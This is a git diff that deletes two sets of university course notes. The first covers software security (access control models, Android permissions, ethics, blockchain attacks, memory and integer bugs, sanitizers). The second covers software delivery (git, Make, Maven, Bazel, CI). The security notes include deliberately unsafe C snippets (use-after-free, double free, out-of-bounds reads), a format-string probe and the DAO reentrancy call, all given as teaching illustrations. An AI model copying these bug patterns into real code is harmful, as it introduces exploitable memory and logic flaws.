Operating Systems - -- allows different entities to access different resources in a shared way - - files, memory, etc. - - (subjects vs. objects) - -### Separation in OS - -- Keep user's objects separate from other users -- Physical -- Temporal -- Logical -- Cryptographic - -### Access control lists (ACLs) - -- Each object has a list of subjects and their access rights -- Determine set of allowed users per objects -- Determine set of objects that a user can access -- Revoke a user's access right to an object or all objects - -### ACLs and capabilities - -- UNIX each file has an ACL and the caller is given a list of capabilities as well -- [UNIX Permissions](https://mason.gmu.edu/~montecin/UNIXpermiss.htm) - -### Authentication Factors - -- Something the user knows - - Password, PIN -- Something the user has - - Badge -- Something the user is - - Biometrics -- User Context - - Location, time, devices in proximity - -- There's also https://github.com/johwconst/keystrokeDynamics2FA - -### Passwords - -- 8 in length can be cracked easily -- Probably want a password at least 10 in length - - Don't use acronyms, use full form -- Password hygiene - - Use a password manager to create and store password - - Autofill option - - Problem? -- NIST Advice for Develoeprs - - Allow copying - - Do not prompt password changes as it leads to cycling - -### Cryptographic Tools - -- Hash: Fixed length deterministic output from a variable-length input value -- Mac: one-way, computers a password fingerprint -- Encryption: with a secret key you can recover data - -### Adobe Password Hacks - -- Each password has a hint (123456) - -### Biometrics - -- physical characteristics -- sufficiently close -- observed fingerprint will never be identical to previously stored fingerprint of the same user - -### Trusted System Design Elements - -- Security must be part of design early on - - Hard to retrofit security, see Windows 95/98 -- Android later added user switching and camera was not secure at the beginning -- Least privilege - - In A1, pwgen has setuid0 when it only needs to write to the /etc/shadow file -- Economy of mechanism -- Open design - - Avoid security by obscurity -- Complete mediation -- Permission based / fail-safe defaults -- Least common mechanism - - shared mechanism could be used as covert channel -- Ease of use - - don't want protection mechanism to be difficult to use, nobody will use it or will use it incorrectly - - Android before: grant all permissions in the beginning - - Android now: grant permission one by one based on usage - -### Complete Mediation - -Complete mediation means that every access to every object should be authorized. - -### Default Allow vs Default DEny - -- blacklist -- whitelist - -### Access Control - -- Mandatory access control (MAC) - - central authority establishes who can access what - - good for military - - chineses wall, Bell-LaPadula, biba -- Discretionary access control (DAC) - - Owners can control - - Grant others access to your home directory - -### Bell-LaPadula - -Can't write down and can't read up. Can't read when not part of the same groups as the access required. Can write to more groups, but not less. - -Example - -- sales.txt: Secret and for groups Accounting and Sales - - Person with Top Secret and Accounting cannot read the file - - Person with Unclassified and Accounting can write the file permissions - - Person with Top Secret cannot write the file - - Person with Accounting and Marketing cannot read nor write the file - -## Biba Model - -- Prevent inappropriate modification of data -- Subjects and objects are ordered by an integrity classification scheme, I(s) and I(o) -- Write access: I(s) ≥dom I(o) -- Read access I(o) ≥dom I(s) -- Subject Low watermark: if subject s reads object o, then I(s) = glb(I(s), I(o)), where glb() = greatest lower bound -- Object Low Watermark Property: if subject s modifies object o, then I(o) = glb(I(s), I(o)) -- Integrity of subject/object can only go down, information flows down - -### Object Protection - -- Hidden data - - Deleting a file will not physically erase file on disk - - Deleting text in MS word might not remove text from document - - Putting black box over text in PDF leaves text in PDF - -### Accountability and Audit - -- Granularity of event logging - -### Virtualization - -- Isolation -- Virtual memory: page mapping -- Virtual machines: virtualize I/O devices, file, printers -- A sophisticated rootkit could run the OS in a virtual environment controlled by the rootkit and it would be undetectable - -## Mobile OS Security - -- Embedded -- Sensors -- Ubiquitous connectivity (4G / 5G, NFC) - -### Overview of Android OS - -### Mobile OS Security Mechanisms - -- Different communication channels (wifi, nfc, cellular, bluetooth) -- Threats: what is stored on the mobile devices - -### Mobile App Security - -### Mobile OS Known Vulnerabilities and Flaws - -- WHo could introduce flaws? - - App developers, tools - - Distributors: googel play, sideloading, alternative markets - - Administrations configure the app - - Vendors of the AndroidOS who can modify the kernel - -### Android Permissions - -- Linux Kernel, Framework / SDK, Applications -- Manifest file for permissions -- Prompt user for granting app permissions -- Runtime Permissions (aka Dangeorus Permissions) -- Allow additional access to restricted data -- Pemrission history -- Special Permissions - - Allow access to senstive system resources like drawing over other apps -- UID is always the same -- Process ID is different on every run -- Binder IPC (inter-process communication) - - APIs in remote service objects are called as if they are local -- Intents - - Intents pass a messaging object from a callinga pp to another app - -### Mobile Framework Security - -- Creating a Permission Map through Dynamic Analysis -- Motivation - - Lack of understanding Android Access Control - - Incomplete / Missing security docs and specs - - Highly customized ecosystem - - Access control anomolies - - Potential vulnerabilities -- Solution - - API to Permission Maps -- Dynamic Analysis uses techniques - - Virtual environment or actual device - - Want to look for specific behaviours characterizing a vulnerability or a property -- Static Analysis -- Invoke all APis from unpriviledged apps and detect the checks that protect them -- Apps do not need permission to dsiable its own component -- To disable another users' app component, need permission to do that - - Permission map - - Need interact accross users for different user id or change related setting for different app -- Static Analysis - - Identify entry points defined in the framework - - Build control flow grpah of each API - - Perform a reachability analysis on the cfg - - Identify access control enforcement methods - - Path insentitive: union of all identified permissions - - Path sensitive: - - Extracting path conditions from entry - - First-order logic formula by disjunction of path conditions - -### App Privacy - -- Information Leakage -- IMEI, GPS coordinates, SMS messages, banking information - -## Ethics and Laws - -Laws, morality, and theifs are all beliefs, claims, rules, and norms about how we should live and behave - -### Cambridge Analytica - -- Facebook launched open graph in 2010 - - External developers can request access to their data and their friends' data -- In 2013, an app “thisisyourdigitallife” approached to almost -300,000 users and paid them to take a psychological test. -- In 2014, Facebook adapted its rules to limit a developer’s access to user data, especially the friends’ data -- In 2015, The Guardian reported that Cambridge Analytica was -helping Ted Cruz’s presidential campaign. FB acknowledged the data leak and argued that they have legally pressured Cambridge Analytica to remove all of the data they had improperly acquired -- In 2016, Cambridge Analytica was responsible for the “Defeat -Crooked Hilary” video campaign on FB (assisting Trump’s team). -- Exposed in 2018 by The Guardian because of whistle blower Christopher Wylie. 50 million to 87 million users estimated to been impacted. -- Slew of fines. UK UCO 2018: 500,000 pounds, FTC 2019: $5B, SEC 2019: $100M - -### Linux Kernel University of Minnesota - -- Intentionally adding buggy code and not informing the reviewer beforehand - -### What is Law - -- Formal rules governing society -- "Basic" and objectively enforceable -- Species with great detail what must be done and what not to do -- Upheld and applied by state-backed justice system -- Not enough: - - lengthy legislative process does not keep up with technology - - very narrow focus - -![Legislative prccess in Canada](/images/cs-489-security/canada-legislative-proces.webp) - -### Non-Violations of Law - -- mood manipulation study by Facebook in 2012 - - news feed was scweed by facebook scientists - - some people were shown content with more positive words - - others were shown content sadder than average - - Finding 1: more negative → negative status messages - - Finding 2: neutral content → reduction in words produced by person -- Facebook had this in its terms and services - -### What is Morality - -- informal framework of values, principles, beliefs, customs, ways of living -- social pressure -- an individual strongly bounded to a moral system may consider questioning the moral system as wrong -- unconscious formation: family, community, culture -- habit without explicit thinking and reasoning process -- rarely a moral authority agreed by every individual - -### Ethics - -- Branch of philosphy that answers **what should I do?** out of all possibilities -- ethical decision is a conscious -reasoning process based on each individual’s values, principles, and purpose — do something that is good, right, and meaningful -- ethics is the framework to reason about issues that the laws cannot or do not address -- Ethics is the framework to examine a moral system to see whether the principles and rules there make sense -- ethical reflections shape laws and moral systems a society will develop - -### Responsible DIsclosure - -Suppose a vulnerability is found, what should you do? - -- coordinated vulnerability disclosure - - private full disclosure to all responsible parties (e.g., software vendors for most software bugs) -- wait for patch (90 to 120 days) -- public partial disclosure to pressure responsible parties -- public full disclosure in the interests of pontential victims - -### Building Ethically - -- Get as many **dissenting** voices as possible -- Explain how something works, what can go wrong, how can bad actors take advantage of non-experts -- privacy and data protection norms vary accross regions -- consult other experts - -### Non-Experts - -- does it work as intended? -- who does this effect? -- does data need to be collected? -- tool not working? -- failure modes? abuses? -- who is effected? - -### Independent Experts - -Insitutional review boards (IRB), independent ethics committee (iEC), ethical review boards (ERB), research ethics board (REB). - -### Professional Codes - -- Association for Computing Machinery (ACM) -- Institute of Electrical and Electronics Engineers (IEEE) -- Canadian Information Processing Society (CIPS) - - Protect Public Interest and Maintain Integrity - - Demonstrate Competence and Quality of Service - - Maintain Confidential Information and Privacy - - Avoid Conflicts of Interest - - Uphold Responsibility to the IT Professi - -### Legal Protections - -In contrast to real property, so-called “intellectual property” (IP) differs in important ways: - -- It is non-depletable -- It is replicable -- It has minimal marginal cost - -Four kinds - -- Trade secrets -- Trademarks -- Patents -- Copyright - -What? - -- differnet intangible -- different rights -- different durations -- different registration process - -### Trade Secrets - -- people you have to tell are not able to pass it on - -Reverse engineering - -- figuring out how something works or taking it apart to figure out how it works -- trade secret protection is lost -- Kerckhoffs’s principal: do not depend on secrecy for cryptographic security. RC4 was reverse engineered in 1994 - -### Trademarks - -- names, brands, logos, domain names -- make a legal filing showing that you are using the name in commerce -- have to be renewed - -### Patents - -- inventions including algorithms - - Novel - - Useful - - Non-obvious -- many cryptographic patents - -### Copyright - -- Protects expressions of ideas but not the ideas themselves -- Life + 50 in Canada, Life + 70 in USA - -### Cyber Crime - -- Bizarre rulings: - - value of stolen data was the value of the paper it was printed on - - value of stolen manual was equivalent to equipment it was for -- Computer forensics (admissibility) -- Cybercrime treaty - - computer crime is often international - - The Council of Europe cybercrime treaty - - "making it easier for law enforcement to access telecommunications traffic (including voice, data, and Internet)" - -## Non-technical Aspects of Security - -### Security Plan - -- what security goals -- how are they met? -- how they will stay met - -Seven parts - -- Policy: high-level goals and priorities -- Current state: risk analysis, anticipation of new situations -- Requirements: what are the security and privacy needs -- Recommended controls: how to provide those needs -- Accountability: who is responsible for what -- Timetable: when the elements of the plan will be performed -- Continuing attention: how often the plan should be updated - -### Developing the Security Plan - -Input from several constituencies - -- Upper management / CTO / CIO (setting policy) -- IT (hardware group, sysadmins) -- Systems and application programmers, DB admins -- Data entry personnel -- Physical security personnel -- Representative users -- External consulting / advisory board - -### Business Continuity Plan - -A way out of availability situations, - -- Catastrophic: a large part (or all) of a computing capability is suddenly unavailable -- Long duration: the outage is expected to last for so long that business would suffer if left unattended - -Need redundancy and arrange backups and training employees. What about live testing? - -### Risk Analysis - -- Identify assets - - Hardware - - Software - - Data - - Documentation - - Procedures - - Reputation -- Determine vulnerabilities - - Threat modeling - - Think like an attacker and be very creative, even outlandish -- Estimate likelihood of exploitation - - acturial science - - what is the chance of a buffer overflow bug with arbitrary code execution? With stack canaries? with ASLR? -- Compute risk exposure - - legal obligations - - penalities - - harm - - value of keeping it away from competitors - - cost of delaying or out sourcing data processing when systems down -- Survey applicable controls - - different ways to control vulnerabilities -- Project savings due to control - - savings = risk exposure - cost of control - new risk exposure - - when savings >= 0, apply control (risk averse); insurance. - -### Physical Security - -- attacker steals laptop off of desk - -## Blockchain - -- each block contains a hash of the previous block -- header: hash of previous block and hash of current block's payload - - this is better because ensures authencity of the payload -- payload: app specific info -- Making it harder to revert transactions: - - Ensure that the first k bits of the header hash starts with 0. Expect 2k hash operations to find a valid N such that header is `HN...R` -- N is nonce. Need to find a nonce such that the header hash remains unchanged -- Deterrent: longer chains are preferred over shorter chains - - Need hash power equal to blocks between chain head and the crucial block times 2k - - would need to mine slower than the rest of the participants - -### Confrmation Level - -- Why do we need extra blocks when there is no 51% power? -- Pre-mining of a block which is revealed after transaction is sent -- Send two transactions in a short window to trigger a fork -- Send two transactions to seperate haves of the network -- Drawbacks: - - slow confirmation (10 minutes to confirm on bitcoin, with waiting for 6) - - vulnerable to 51% - - energy consumption since hashing doesn't do anything else - - running a payment system is important though - -### Proof of Stake - -- Chance of node being elected to propose a new block is proportional to its staked value -- collisions not allowed, only leader creates a block -- If more than 50% of staked resources are controled, then attacker can prove fraudulent transactions - - Attacker loses the weapon to future attacks, and is not easily recoverable - - Solution is to hard fork to invalidate fradulent transactions added by attacker - - social coordination is required - -### Chain Validation (Nothing at Stake) - -- Attacker double spends (1% stake) -- Next block proposer has no incentive to select which chain to converge on and has no idea which chain survives in the future, so mines both -- When it's alice's turn again, she chooses the favouralbe block -- Ethereum Slash protocol - - Penalize those who "equivocated" (voted on two different versions) - - Penalize those who voted on the wrong block regardless of if they double-voted - -### Long Range Attacks (Bootstrapping) - -- Bob first joins the network, which chain to accept? - - Not expensive at all to create a counterfeit chain -- Casper (ethereum) depends on trusted nodes to broadcast the correct block hash - -## Common Bugs and Vulnerabilities - -### Memory Errors - -- a bug where memory not intended to be read or modified is read or modified -- Heartbleed Vulnerability - - Tell server more length than actually supplied - - Server ended up returning more than required string - - Affected 70% - - CRA was affected and 900 taxpayers' identities were stolen - - RCMP charged computer science student (unauthroized use of computer and mischeif) - -```c -char buff[8]; -int correct = 0; // in GCC convention, this variable will appear before the buff buff[0],...,buff[7],correct -``` - -### Von Neumann Architecture - -- CPU does not care about semantics - -### What is Memory - -- Text (program code), Stack, Heap, Global (static) -- Linux x86-64 convetion - - Environment - - Stack (grows to lower addresses) - - Heap - - BSS - - Data (read from program binary as well - GLOBAL/STATIC) - - Text (lower address) - -### Heap vs. Stack - -- Must be manually managed -- Any program can apparently use just the stack - -### what does malloc() do? - -- malloc is provided by the clib (e.g. glibc) -- in low level sense, the program has to check for the next available free memory spot -- first request big chunk of memory from the OS -- then the glibc will chunk the 4MB for the program to handle the smaller malloc's - -### What does free do? - -[How2Heap](https://github.com/shellphish/how2heap) - -### What is safe in memory safety? - -- Observation 1: At runtime, memory is a pool of objects -- Observation 2: Each objet has known andlimited **size** and **lifetime** -- Observation 3: Once allocated, the size of an object never changes -- Observation 4: Memory access is always object-oriented - - Memory read: (object_id, offset, length) - - Memory write: (object_id, offset, length, value) - -The following code is illegal, since the address is not up to the program but the OS/compiler. - - ```c - int *p = 0xdeadbeef; - int v = *p; - ``` - -Spatial safety violations - -```c -int foo(int x) { - int arr[16] = {0}; - return arr[x]; // array was not initialized fully -} - -long foo() { - int a = 0; - return *(long *)(&a); // reading 8 bytes from a 4 byte valuefg -} -``` - -```c -int foo(int *p) { - // what if p == NULL - return *p + 42; -} -``` - -### What is temporal safety? - -- For any object during a program execution, we know its (object_id, size [int], alive [bool]). -- For each memory access, we know. - - memory read: (object_id, offset [int], length [int]) - - memory write: (object_id, offset [int], length [int]) - - memory free: (object_id) -- violations: - - read: status != init - - write: status == dead - - free: status == dead - -```c -int foo() { - int *p = malloc(sizeof(int)) - *p = 42; - free(p); - return *p; -} -``` - -```c -int *ptr - -void foo() { - int p = 100; - ptr = &p; -} - -int bar() { - return *ptr; // invalid since address is invalid -} -``` - -```c -int foo() { - int *p = malloc(sizeof(int)) - *p = 42; - free(p); - free(p); // double free's are undefined behaviour - return *p; -} -``` - -### Memory Leak - -```c -int foo() { - int *p = malloc(sizeof(int)) - int *q = malloc(sizeof(int)) - *p = 42; - free(q); - return *p; -} -``` - -### Heartbleed Vulnerability I - -### Heartbleed Vulnerability II - -### Memory Errors are Prevalent - -- disproportionately high number of memory errors among all security vulnerabiities is that we know memory errors the best -- memory errors have unniversally accepted definitions (e.g. Stack Overflow website) - - do not need to argue that this is a bug and not a feature -- gradual adoption of memory-safe languages - -## Common Bugs - -### Unsafe integer operations - -- Mathemetical integers are unbounded -- Machine integers are bounded by a fixed number of bits - -Best way to bounds check is to check if the old balance is subtractable and that the value is less than or equal to than the max that can be added (MAX - old balance). - -### Common Integer Overflow and Underflow Cases - -- signed ⇆ unsigned -- size-decreasing cast (truncate) -- see slides for more - -### Unsafe Floating-point operations - -- floating-point number are bounded by a limited precision -- The Perils of Floating Point - -### Pointer Relational Comparison - -- in memory, for the same struc, the properties do appear in memory order -- therefore, &structInstance.one &structInstance.two -- however stack variables are not guarnateed to be in a certain order - -### Insufficient Sanitization on Untrusted Input - -- SQL unescaped input - -### Format Strings - -- printf is very powerful -- `%7$11x` - -### Same-origin policy - -- two urls sharing same uri schem (ftp, http, https) -- untrusted input shown to another user can trigger a cross-site scripting attack since the user input was not sanitized - -### Untrusted Logic - -- In 2016, an attacker exploited a vulnerability in Ethereum's DAO smart contract. The attacker drained more than $3.6M. -- `msg.sender.call.value(_weiToWithdraw())` -- Reentrancy attack - - before the checks are finished, call withdraw again which will pass all checks since the timestamp was not updated yet - - that means that the function is recursively called until the contract's internal store of the balance is exhausted -- fix: - - first do the book keeping then call the function - - wrap function with mutex variables - - require the mutex to be false at the beginning of the function call - -Solidiity callback function: runs when money is sent to the contract or is interacted with - -### Data Race - -- to avoid data races, need a way to synchronize between threads or clients - - for threads, use mutexes and acqurie before change -- for databases, use transactions -- memory errors: double free, double allocate (dangling) -- heisenburg and non-deterministic behaviour - -## Fuzz Testing - -- To drive the execution of a system into desired state -- system: source code, input format -- state: output or current state - -### Genetic Algorithm - -- Feedback and Selection fo most successful - -### Path Coverage - -- AFL: American Fuzzy Lop - -### Narrow-range Constriants - -- SMT Solvers -- [Fuzzers](https://fuzzing-survey.org/) - -## Finding Bugs - -- Program analysis -- derive properties which hold for program P (inteference) -- prove that a property holds for program P (verification) -- given a program P, generate a program P' which is - - equivalent to P in most ways - - behaves better than P with respect to some criteria - -### Concrete Semantics - -- all possible executions under all possible inputs -- could be close to infinite which is impractical to enumerate -- safety properties: no possible execution should reach these erroneous states -- testing: consdering a subset of the possible executions -- bounded model checking -- abstract interpretation: if the abstract semantics cover all possible cases -> so does the concrete semantics - - false alarms: widening of the model during execution - -## Defenses against Common Vulnerabilities - -- Runtime sanity checking -- Defensive programming; anticipate what might go wrong in software - - Normal paradigm: expect others to follow the rules - - Defensive paradigm: expect others to ignore / by-pass the rules - -### Paranoia - -- NULL-check for every pointer access even when its an internal function called by a public function that does the check -- Undefined behavior sanitizer (UBSan) - - stateless sanity checks - - `-fsanitize=bool` - - loading of a bool value which is neither true nor false - - `-fsanitize=bounds` - - statically known checking - - `-fsanitize=function` - - wrong type of pointer when calling - - `-fsanitize=null` - - `-fsanitize=integer-divide-by-zero` - - `-fsanitize=integer-overflow` - -### Dynamic Checking - -- Fat pointer - -### AddressSanitizer (ASan) - -- Overhead of ASan is 70% on average -- Shadow memory -- Fast shadow translation -- Memory available gets mapped to shadow -- Shadow gets mapped to inaccessible -- Compact representation (7 bytes of membery into 1 byte of shadow memory) - -```c -// before: -*addr = ...; or ... = *addr; -// after: -if (*MemToShadow(address) != 0) { - ReportError(address, ...); -} -*address = ...; // or: ... = *address; -``` - -- limitations: - - continuous overrun detection only - - limited protection on use-after-free - - incompataible with other security scheme (e.g. UBSan) - - not suitable for library developers - - not possible to use an application that is not using ASan with a library compiled with ASan - -### Why is Java Efficient? - -- no 70% overhead but you still get an array index out of bounds exception -- Java Virutal Machine means the JVM can store extra metadata like length without depending on OS memeory implementation -- Java does not allow **arbitrary casting** - - Only upward cast and sometimes downward cast. No re-interpret cast so length is always there. New object needs to be created for "re-interpreting" - -### Reference Monitor - -### Runtime Verification (RV) - -- Validation: are we building the right product? -- Verification: are we building the product right? -- linear temporal logic (LTL): primitive properties, propositional connectives, temporal connectives - -### Control-Flow Integrity (CFI) - -- Shadow Stack: return address protection inside Intel - -### Aspect Oriented Programming - -- separation of cross-cutting concerns -- logging -- obscures control flow - -## Entropy - -### program analysis - -```c -- scanf("%s", buf); -+ scanf("%15s", buf); -``` - -### Exploit mitigation - -Add canary - -### Randomizing Memory Addresses - -- ASLR — Address Space Layout Randomization - - a system-level protection that randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries. -- PIE — Position Independent Executable - - a body of machine code that executes properly regardless of its absolute address. This is also known as position-independent code (PIC) - -### Entropies in Heap Allocators - -Allocate in random placements with canry boundaries - -### Software Diversity - -- different compilers -- different languages -- different sanitization techniques -- different application (nginx vs apache) -- different libc implementation diff --git a/content/posts/university/cs-489-software-delivery.md b/content/posts/university/cs-489-software-delivery.md deleted file mode 100644 index e9d1c78ba..000000000 --- a/content/posts/university/cs-489-software-delivery.md +++ /dev/null @@ -1,863 +0,0 @@ ---- -title: "CS 489 Software Delivery" -date: 2024-01-08T13:04:18-05:00 -draft: false -tags: - - university - - computer-science - - devops - - programming -summary: "Detailed notes and summaries from a university course on Software Delivery, covering release pipelines, version control, build systems, CI/CD, virtualization, infrastructure as code, and deployment strategies." ---- - -## Summary - -In the past, software delivery used to be walled. Each team would be just hand off their work output to the next team and not care about the end product. - -- Want to deliver software faster with less big changes -- Continuous Integration: Find issues in patches continuously (after commits), to reduce the costs due to the developer's memory fading (context switching) - -### Design and Implementation of Release Pipelines - -1. Integrate -2. Build -3. Deploy -4. Monitor - -What are patches? - -- Bug fixes -- Refactoring: behaviour preserving software change - -We need to **integrate** patches using VCS or something.. - -We need to build the patch to ensure nothing broke. - -Then we need to deploy the build. - -Lastly, we need to monitor (continuous experimentation). Canary, A/B testing. Blue-Green, Chaos engineering. This leads to new patches since this specific deployment was targeted. - -Maintenance - -- Corrective (bug fixes) - -### Modules - -1. Logistics and Foundations: what?, basics version control, build systems -2. Release pipelines: Continuous Integration, Continuous Delivery (CI/CD), Waste & Acceleration -3. Infrastructure & Deployment: Virtualization (flabours, hypervisors, timeline, containers), Infrastructure-as-code. Overview, A declarative solution -4. Deployment Strategies: Mitigating Features (Blue-Green Deployment), Experimentation, Resiliency - -### Architecture of Open Source Applications (Firefox) - -#### Introduction - -- Firefox, more users, more issues will come up -- Proactive mindset -- Every release = energy release "chemical spill" -- Post-release evaluation (areas to improve) -- Automation to reduce human involvement and error -- Go to build process - - Standardized process to every single release and one person to track this (release coordinator) -- Prioritize fixing small issues before - -#### Release coordinator - -- Go to every team meeting -- Point of communications between all the teams between the releases -- Balance the stuff -- Go to build email that they send (build number, code for the build, urgency for the build). Routine vs. chem spill -- Also sends stop emails - -#### Reproducability - -- Tagging tool and versions -- Use script for matching it -- VCS repositories are used in the build -- In case of error - -#### Localization of the build - -- Unpacks build, repacks for the locale needed -- So many countries, concurrency is used -- Partner repacks, custom builds for various partners for custom bookmarks - -#### Signing - -- To ensure the copy of firefox is authentic from Mozilla, signing is used -- Two types: MIcrosoft Authenticode for exe and dll's. Vs. GPG - -#### 2.6 Updates - -- Built-in updater preferred over downloading and running standalone installer -- Downloading update package occurs in the background -- Prompt to update & restart after download -- Catch: generating updates from all **supported** previous releases to the latest. - - For every platform (Windows, Linux distros, macOS), every locale, every installer from LATEST-1, LATEST-2, LATEST-3. Not just for firefox -- Updates are snippets (XML) that point to the partial/complete .mar (Mozilla Archive) file -- Minor updates: Updating 3.6.\* to the latest 3.6.\*, beta → latest beta, nightly → latest nightly -- Major updates: advertisement of new features -- Complete vs partial updates. Partial is the binary diff between the old release complete .mar file and the latest release complete .mar file. -- These differences were shown to be very common across the platforms, so caching/hashing was used. - -### Release Pipeline Steps - -- Today we have rapid release cycles - - Step 1: Configuration - - Step 2: Construction - - Step 3: Certification - - Step 4: Packaging - - Step 5: Deployment -- Monitor - - Stuff - -### What is Continuous Integration - -- checks: does the commit actually integrate into the codebase -- how? build, test and report result -- why? Context switching costs exist so we need to test and address issues as soon as commits are made and not as long as possible - -## Version Control System - -### VCS Brief - -- Enforce discipline -- **Archiving versions** of source code -- Maintaining **historical information** -- Enable **collaboration** -- **Recovery** -- **Conserve disk space** since only one central point and VCS uses compression -- Git is a distributed version control system - -### Git Operations - -- `git clone` - - Online repo → Local repo -- Local - - `git log` - - `git branch` - - `git tag` -- merging a branch that points to an older commit - - messes up the log because commits will have multiple parents - - could cause conflicts in the default branch -- solution: git rebase - - want to move the head to the latest of a branch -- git diff [--staged] -- git add FILE - - git reset FILE to remove changes -- git bare repository server - - `git init --bare` - -### Git Database - -- objects - - Blob - - A file being tracked by git - - Tree - - A directory tracked by git - - Contains a list of blob and trees - - Commit - - A reference to a state being tracked by Git - - Refers to a tree object -- refs - - heads - - what commit each branch points to - - HEAD - - A reference to the current branch that is checked out - - May refer to a commit if we are in a detached HEAD state - - remotes - - branches that are being tracked - - tags - - what commit each tag corresponds to - - tags are IMMUTABLE - -```sh -git cat-file -t COMMIT -git cat-file -p COMMIT -``` - -Can then find the blob we are looking for. - -### Git Hooks - -- Script to run when particular events occur on client or server side -- chmod u+x ./.git/hooks/commit-msg.sample - -```sh -#!/bin/sh -#!/bin/bash -#!/usr/bin/env python3 -#!/usr/bin/env node -``` - -- Problems - - not everyone will enable it - - bad actors can turn off client-side hooks -- Solution: [server-side hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks#_server_side_hooks) - -Hook name | Description | Args ---------------- | ---------------- | -------- -pre-receive | First script to run after a push from a client. Args are a list of references that are being pushed from **stdin** | NONE -update | Run once for each branch that was updated. | BRANCH_NAME BRANCH_SHA-1_OLD BRANCH_SHA-1_NEW. Rejects only per branch. -post-receive | Runs after update completion, can be used to broadcast or create a new change | ??? - -## Build System - -- Source code is an array of car parts and we want to deliver the final car -- A build system assembles the parts into deliverables efficiently without needing to remember certain actions - -### Families of Build Tools - -- [slides](https://learn.uwaterloo.ca/d2l/le/content/1005130/viewContent/5356971/View) -- low-level tools: define deps and rules for each input and output file -- abstraction-based tools: derive low-level build code from high-evel data. e.g., maps of sources files to executables -- framework-driven tools: default behaviour is assumed unless explicitly overridden -- organizationally-scaling tools: reuse the output of build command across machines to accelerate builds and reduce (organizational-level) waste - - how do we do this for rust? -- Dependency management tools -- Testing frameworks (CS 447) - -[A Large-Scale Empirical Study of the Relationship between Build Technology and Build Maintenance](https://is.gd/rzymTT) - -> modern, framework-driven build technologies need to be maintained more often and these build changes are more tightly coupled with the source code than low-level or abstraction-based ones. However, build technology migrations tend to coincide with a shift of build maintenance work to a build-focused team, deferring the cost of build maintenance to them. - -## Low-level Build Systems - -### Make - -
Example File - -```make -# o files are built automatically via `$(CC) $(CPPFLAGS) $(CFLAGS) -c` -EXEC = main -OBJS = random.o input.o main.o -DEPS = ${OBJS:.o=.d} -# DEPS = $(patsubt %.o,%.d,$(OBJS)) -# CC = gcc -# preprocessor flags -CPPFLAGS = -MMD -# CFLAGS: compiler flags -# since the target is the name of a direct object, the built-in rule applies -$(EXEC): $(OBJS) - --include $(DEPS) - -.PHONY: clean -clean: - rm -f $(EXEC) $(OBJS) $(DEPS) -``` - -
- -- [Example Makefile](https://github.com/smcintosh/makeexample) -- [More complicated but succinct Makefile](https://github.com/elibroftw/bootleg-settlers-of-katan/blob/master/Makefile) -- express dependencies with `program: program2 program3` -- requires tabs not spaces -- write recipes -- variables (lazy evaluation) - - x = "a command" - - $(x) -- parallelization: make -j8 -- % wildcard is greedy (%.o → foo.o.o) - - the % must be equal on both sides of the rule - - $<: expands to the first dependency - - $^: expands to the entire list of dependencies - - $@: expands to the name of the target -- header files are dependents on .o files because .c files might not actually change -- Make has built-in rules for compiling c files and linking o files - - .o files: `$(CC) $(CPPFLAGS) $(CFLAGS) -c` - - linking automatically works for programs where a source code exists - - string manipulation: either use `${OBJS:.o=.d}` or `$(patsubt %.o,%.d,$(OBJS))` - -Shortcoming of Make - -- Shell scripts are not portable (cross platform) -- Boilerplate expressions need to be repeated - -[Recursive Make Considered Harmful](https://aegis.sourceforge.net/auug97.pdf) - -- Every make only knows the dependencies of itself, not subdirectories it calls make on -- People would order the recursions to build one project before another -- Distrust in incremental build process - -Addressed - -- Apache Ant (low level). Uses Java for recipes -- Scons and Raek use Python and Ruby as first-class languages to enable portable and extensible build code - -### Abstraction-based build - -"There is only one problem in software engineer problem that cannot be solved by adding a layer of abstraction: too many layers of abstraction" - -- GNU Autotools - - Generate Makefiles -- CMake - - Generate Makefiles - - Only 3 lines - - Made by the Scientific community -- Meson - -```cmake -# Set the minimum version of CMake that will be supported by this build file -cmake_minimum_required(VERSION 3.5) -# Give the project a name -project(CappedRandom) -# Add an executable that is made up of the three C source files -add_executable(main main.c input.c random.c) -``` - -### Maven - Framework Driven Build Tool - -
Example - -```xml - - - 4.0.0 - ca.uwaterloo.cs446 - mavendeps - 2022 - - - UTF-8 - 1.8 - 1.8 - ca.uwaterloo.cs446.mavendeps.Main - - - - - - org.apache.logging.log4j - log4j-core - 2.22.1 - - - -``` - -
- -- convention over configuration -- concepts: lifecycle, phases, goals, plugins -- assumes a lifecycle -- lifecycle: series of phases -- phase: series of goals to build actions via plugins - -Lifecycles - -- default: produces project deliverables -- clean: initial state -- site: website/docs material - -Lifecycle | Phase | Goal ------------ | --------- | ------ -**Default** | process-resources | resources:resources ---- | compile | compiler:compile ---- | process-test-resources | resources:testResources ---- | test-compile | compiler:testCompile ---- | test | surefire:test ---- | package | jar:jar, par:par, war:war ---- | install | install:install ---- | deploy | deploy:deploy -**Clean** | clean | clean:clean -**Site** | site | site:site ---- | site-deploy | site:deploy - -## Organizational Scaling - -1. Build execution is computationally expensive - - In-memory dependency graph requires plenty of high-speed RAM - - Processor-intensive operation: fast CPU - - Files need to be stat'd (modification time), read (source files) and written (intermediate and output files): large and fast disk I/O -2. Constraints on parallelism -3. Commands are repeated across machines - -### Google's Bazel - -- Internal built tool is called blaze -- What's the point? - - Centralized caching to cut down repeated builds - - Cross language - - Language specific implicit rule (e.g. header files) -- Starlark: domain-specific build language inspired by Python -- Load build files relevant to target of the execution -- Analyze the inputs and dependencies and produces an action graph -- Execute by traversing the action graph until final build outputs are produced -- Action graph is a directed graph of build artifacts - - Graph is [queryable](https://docs.bazel.build/versions/0.29.1/query-how-to.html) to better understand the build process - - Lot of things are implicitly done - - `bazel query "deps(//:mavendeps)"` - -## CI and CD - -- Practitioners (Developers, QA, Release Engineers) ↔ Build System ↔ Development Tools - - Developers: execute local builds to sync changes and perform simple tests - - QA: automated tests into build system - - normal builds should provide quick feedback - - slower tests can be relegated to special build targets that are executed less often - - Releng: micro and macro - - micro-build: behaviour of a build system in a single execution - - macro-build: provisioning fleet of build resources -- DevTools - - Static analysis: infer, coverity - - Problems like: buffer overflows, resource leaks, dead code, null pointer dereference & exceptions -- Code review - - pre-merge review - - [QT Gerrit code review](https://codereview.qt-project.org/#/c/140545/) - - Qt Sanity Bot - - Qt CI Bot -- Release automation - - Nightly builds - - When builds took hours, the build would run at night after the day's changes so that the QA can run tests in the morning - - Too infrequent - - Don't know what change broke the build - - What if you wrote the broken code the day before - - `git bisect` can split the history into two sets of commits - - Continuous builds - -### CI - -- Martin Fowler: Refactoring, Continuous Integration - verify automated build 